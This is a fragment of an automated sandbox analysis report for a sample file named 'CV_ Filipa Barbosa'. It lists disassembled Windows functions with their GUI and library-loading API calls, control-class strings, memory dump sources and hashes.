                                                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00BBDC00,00000000,?,?,?,?), ref: 00B8A6D8
                                                                  • GetWindowLongW.USER32 ref: 00B8A6F5
                                                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B8A705
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Long
                                                                  • String ID: SysTreeView32
                                                                  • API String ID: 847901565-1698111956
                                                                  • Opcode ID: dcb8db41ab7cb413b5d2fa105bd2969e2faa9c7bb2ff065e9677b733b406d63a
                                                                  • Instruction ID: b9f81f6ed89a8cdd5815be4e2e72b1bd58a43c4e07c078dbc0463eeed3dea8a4
                                                                  • Opcode Fuzzy Hash: dcb8db41ab7cb413b5d2fa105bd2969e2faa9c7bb2ff065e9677b733b406d63a
                                                                  • Instruction Fuzzy Hash: BC319E35201606AFEB119E38CC41BEA7BE9EB49324F244766F975932E0DB70EC50DB50
                                                                  Function 00B8A0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00B8A15E
                                                                  • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00B8A172
                                                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00B8A196
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window
                                                                  • String ID: SysMonthCal32
                                                                  • API String ID: 2326795674-1439706946
                                                                  • Opcode ID: decc13e4412a9b2289f90cb778fc00a41c60dd00ade19a24d6fe79060815391f
                                                                  • Instruction ID: c66e2fb431b73437b1329ad9bf787df656df67a24d662f83e28150660b5872a7
                                                                  • Opcode Fuzzy Hash: decc13e4412a9b2289f90cb778fc00a41c60dd00ade19a24d6fe79060815391f
                                                                  • Instruction Fuzzy Hash: FF21D132510218ABEF11AF94CC86FEA3BB9EF49714F100255FA557B1E0DAB5EC51CB90
                                                                  Function 00B8A88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00B8A941
                                                                  • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00B8A94F
                                                                  • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00B8A956
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$DestroyWindow
                                                                  • String ID: msctls_updown32
                                                                  • API String ID: 4014797782-2298589950
                                                                  • Opcode ID: a973e4090ac5f5e3cb1aaf0c65ab9308e626c0207141199b4bd47d96d5a6c7a4
                                                                  • Instruction ID: 07bb9ab92cd0a90879c23761dfc3bbe67555351398380be870cc119ca1efd1e8
                                                                  • Opcode Fuzzy Hash: a973e4090ac5f5e3cb1aaf0c65ab9308e626c0207141199b4bd47d96d5a6c7a4
                                                                  • Instruction Fuzzy Hash: 8A2190B5600209AFEB10EF18DCC2D6737EDEB5A3A4B15049AFA059B361CB30EC11DB61
                                                                  Function 00B899A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00B89A30
                                                                  • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00B89A40
                                                                  • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00B89A65
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$MoveWindow
                                                                  • String ID: Listbox
                                                                  • API String ID: 3315199576-2633736733
                                                                  • Opcode ID: 82e19d4ed4c9f62e0dc2562b080b79ad88de77eb201aa4fa89ec627a9c60c035
                                                                  • Instruction ID: d322209369f548d1dd06d0a1184a9bd67bbfbb862b84d46f9a7cae022e74f617
                                                                  • Opcode Fuzzy Hash: 82e19d4ed4c9f62e0dc2562b080b79ad88de77eb201aa4fa89ec627a9c60c035
                                                                  • Instruction Fuzzy Hash: 9921F232600118BFDF259F54CC85EBF3BEAEF89760F058168F9449B1A0CA719C11C7A0
                                                                  Function 00B5B5B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B5B5D2
                                                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B5B5E9
                                                                  • SendMessageW.USER32(?,0000000D,?,00000000), ref: 00B5B621
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: adb0b6ce10c57ac7673babaf1cfa80c893683ab3afd6aa930f39de6b0970b3dd
                                                                  • Instruction ID: 5fe1c7b4972f81919e2045b1b5ce7595099522e7d4a6959c9efabdc128e8d33e
                                                                  • Opcode Fuzzy Hash: adb0b6ce10c57ac7673babaf1cfa80c893683ab3afd6aa930f39de6b0970b3dd
                                                                  • Instruction Fuzzy Hash: E2216D72A00118BFDF14DF68D882EAEF7FDEF55340F100496E905E3290DB71AA158AA5
                                                                  Function 00B787A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000402,00000000,00000000), ref: 00B787F3
                                                                  • SendMessageW.USER32(0000000C,00000000,?), ref: 00B78834
                                                                  • SendMessageW.USER32(0000000C,00000000,?), ref: 00B7885C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 9fa77645f90bb4d1e53a45cd1c75c90ccf973ab834ed7a802c7b2391de6d94df
                                                                  • Instruction ID: 03319d98c310a752b4509927e5b6e3b6ffa7342bd9e46d5de82fe330dd4bccae
                                                                  • Opcode Fuzzy Hash: 9fa77645f90bb4d1e53a45cd1c75c90ccf973ab834ed7a802c7b2391de6d94df
                                                                  • Instruction Fuzzy Hash: BB214775300550EFDB10EB29E885D2AB7E9FB09710B518491F91EDB6A2CB30FC51CBA5
                                                                  Function 00B8A409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00B8A46D
                                                                  • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00B8A482
                                                                  • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00B8A48F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: msctls_trackbar32
                                                                  • API String ID: 3850602802-1010561917
                                                                  • Opcode ID: 73f9cb4e1bb4c395406874752b7020732143923f999889ddaa64a68fae09c6a4
                                                                  • Instruction ID: a9e5217ca3dfdc5fa90369f07c40f487f43d738e162a93e485b36af45e2562f6
                                                                  • Opcode Fuzzy Hash: 73f9cb4e1bb4c395406874752b7020732143923f999889ddaa64a68fae09c6a4
                                                                  • Instruction Fuzzy Hash: C0110A71200208BEEF206F65CC46FAB3BA9EF89754F154119FA45A61A1D6B1E811C720
                                                                  Function 00B89617 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetWindowTextLengthW.USER32(00000000), ref: 00B89699
                                                                  • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00B896A8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LengthMessageSendTextWindow
                                                                  • String ID: @U=u$edit
                                                                  • API String ID: 2978978980-590756393
                                                                  • Opcode ID: af047d81648470ec9fc4cdd4e405a17fa0d8c34e9b1713cf2b33c356ad930132
                                                                  • Instruction ID: 1b9cb7e2f2e34d39d2e434dd09be4ad5c92be733558cc7655acfbc962f9e626b
                                                                  • Opcode Fuzzy Hash: af047d81648470ec9fc4cdd4e405a17fa0d8c34e9b1713cf2b33c356ad930132
                                                                  • Instruction Fuzzy Hash: 3A118871500108ABEF106EA8DC80AFB3BAAEB05368F240354F925931F0E671DC50E760
                                                                  Function 00B5B781 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B5B7EF
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 3850602802-2258501812
                                                                  • Opcode ID: 9fb3fd42b764e8d53a3cf6c7f37dbf6cc28ae94ca28e01f269b372b6af5c843f
                                                                  • Instruction ID: b3708c57bb094afd630d9836dcb4457b7840dc510299d885fa3b77af7fb23ad5
                                                                  • Opcode Fuzzy Hash: 9fb3fd42b764e8d53a3cf6c7f37dbf6cc28ae94ca28e01f269b372b6af5c843f
                                                                  • Instruction Fuzzy Hash: 6601B571640128ABCB04EBA4DC52EFE73E9BF55350B040699F862972D1EB706D0C8750
                                                                  Function 00B5B67D Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000180,00000000,?), ref: 00B5B6EB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 3850602802-2258501812
                                                                  • Opcode ID: 1c9a89d8fddd2b1b8f957a9697352e3b9c5181fb9119d7ccbf43e2ada1208852
                                                                  • Instruction ID: 483ed1258b4439df7feb8e2f4a6c330875a429a053d0a7ed93c8862d510edd36
                                                                  • Opcode Fuzzy Hash: 1c9a89d8fddd2b1b8f957a9697352e3b9c5181fb9119d7ccbf43e2ada1208852
                                                                  • Instruction Fuzzy Hash: AE018F71641018ABDB04EBA4D952FFEB7E89B15341B1000D9B902A7291EB905E1C87B5
                                                                  Function 00B5B700 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000182,?,00000000), ref: 00B5B76C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 3850602802-2258501812
                                                                  • Opcode ID: b10fd77c9509d35c66497b2c7a734914f9ab53b715b47188c9188416c1d08af3
                                                                  • Instruction ID: a4ef7e80f4e77d90a718fda06858f97d50ab15a88c1e68f908ceda94702aac2e
                                                                  • Opcode Fuzzy Hash: b10fd77c9509d35c66497b2c7a734914f9ab53b715b47188c9188416c1d08af3
                                                                  • Instruction Fuzzy Hash: C501A271640118ABDB00EBA4D942FFE73EC9B19341F100199B802B3292EBA05E0D87B5
                                                                  Function 00B8D974 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetForegroundWindow.USER32(?,00BE1628,00B904C9,000000FC,?,00000000,00000000,?,?,?,00B9E47E,?,?,?,?,?), ref: 00B8D976
                                                                  • GetFocus.USER32 ref: 00B8D97E
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                    • Part of subcall function 00B3B526: GetWindowLongW.USER32(?,000000EB), ref: 00B3B537
                                                                  • SendMessageW.USER32(0127E3C0,000000B0,000001BC,000001C0), ref: 00B8D9F0
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Long$FocusForegroundMessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3601265619-2594219639
                                                                  • Opcode ID: 5668aa9ba242743178cfeeca207b2876cd6c531e6bd75b36bbe6131fab28b660
                                                                  • Instruction ID: 05253da33b9098e80cbc051d8c25a7b4357f989599d7ec2e2e0089e89fc52759
                                                                  • Opcode Fuzzy Hash: 5668aa9ba242743178cfeeca207b2876cd6c531e6bd75b36bbe6131fab28b660
                                                                  • Instruction Fuzzy Hash: 0E0188352016508FC714DF6CD885A6677E6FF8A314F2807AAE51A8B2F5DF31AC46CB50
                                                                  Function 00B21000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2103B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B21052
                                                                  • SendMessageW.USER32(?,0000000C,00000000,?), ref: 00B2101C
                                                                  • GetParent.USER32 ref: 00B92026
                                                                  • InvalidateRect.USER32(00000000,?,00000000,00000001,?,0000000C,00000000,?), ref: 00B9202D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$InvalidateParentRectTimeout
                                                                  • String ID: @U=u
                                                                  • API String ID: 3648793173-2594219639
                                                                  • Opcode ID: 4b9b5c4fbf1097db24a351487e6bc0d39b8f8a947ecb6de25de85ab1c8dcd96b
                                                                  • Instruction ID: e3a827989d0871243b85d76ee93854621b85192d3409d28e03929e4a3220bb39
                                                                  • Opcode Fuzzy Hash: 4b9b5c4fbf1097db24a351487e6bc0d39b8f8a947ecb6de25de85ab1c8dcd96b
                                                                  • Instruction Fuzzy Hash: 13F0A7301002A4FBEF211F58EC06F923BE4EB22380F104495F549570A0CA7358909B55
                                                                  Function 00B42287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00B42350,?), ref: 00B422A1
                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00B422A8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: RoInitialize$combase.dll
                                                                  • API String ID: 2574300362-340411864
                                                                  • Opcode ID: 58419dd845b641b8146338e81f0aded1d27b10b6ad854f0b4ec42cc707e06298
                                                                  • Instruction ID: fe7883d1e24ac5e902f858d1c7cc5b9b9b33307d5a34b8c30b509807b0b3bef7
                                                                  • Opcode Fuzzy Hash: 58419dd845b641b8146338e81f0aded1d27b10b6ad854f0b4ec42cc707e06298
                                                                  • Instruction Fuzzy Hash: E2E01A706A4342ABDB106F70EC8AB193AA4A701702F404064F202FF0B0DFF84484DF09
                                                                  Function 00B4235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00B42276), ref: 00B42376
                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00B4237D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: RoUninitialize$combase.dll
                                                                  • API String ID: 2574300362-2819208100
                                                                  • Opcode ID: 9a5269600db11eadf0886d1cbf0caafa6a4d0dfbe1271198ecd283df49833927
                                                                  • Instruction ID: f92a3fb150d3d446a1ccd0cb5923b8226637e3257a7d7084c9b149273ebc3d11
                                                                  • Opcode Fuzzy Hash: 9a5269600db11eadf0886d1cbf0caafa6a4d0dfbe1271198ecd283df49833927
                                                                  • Instruction Fuzzy Hash: D4E0B670659340AFDB206FA0ED5EB043AB5F705702F1004A4F10AFB4B0DFF85984EA1A
                                                                  Function 00B9AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LocalTime__swprintf
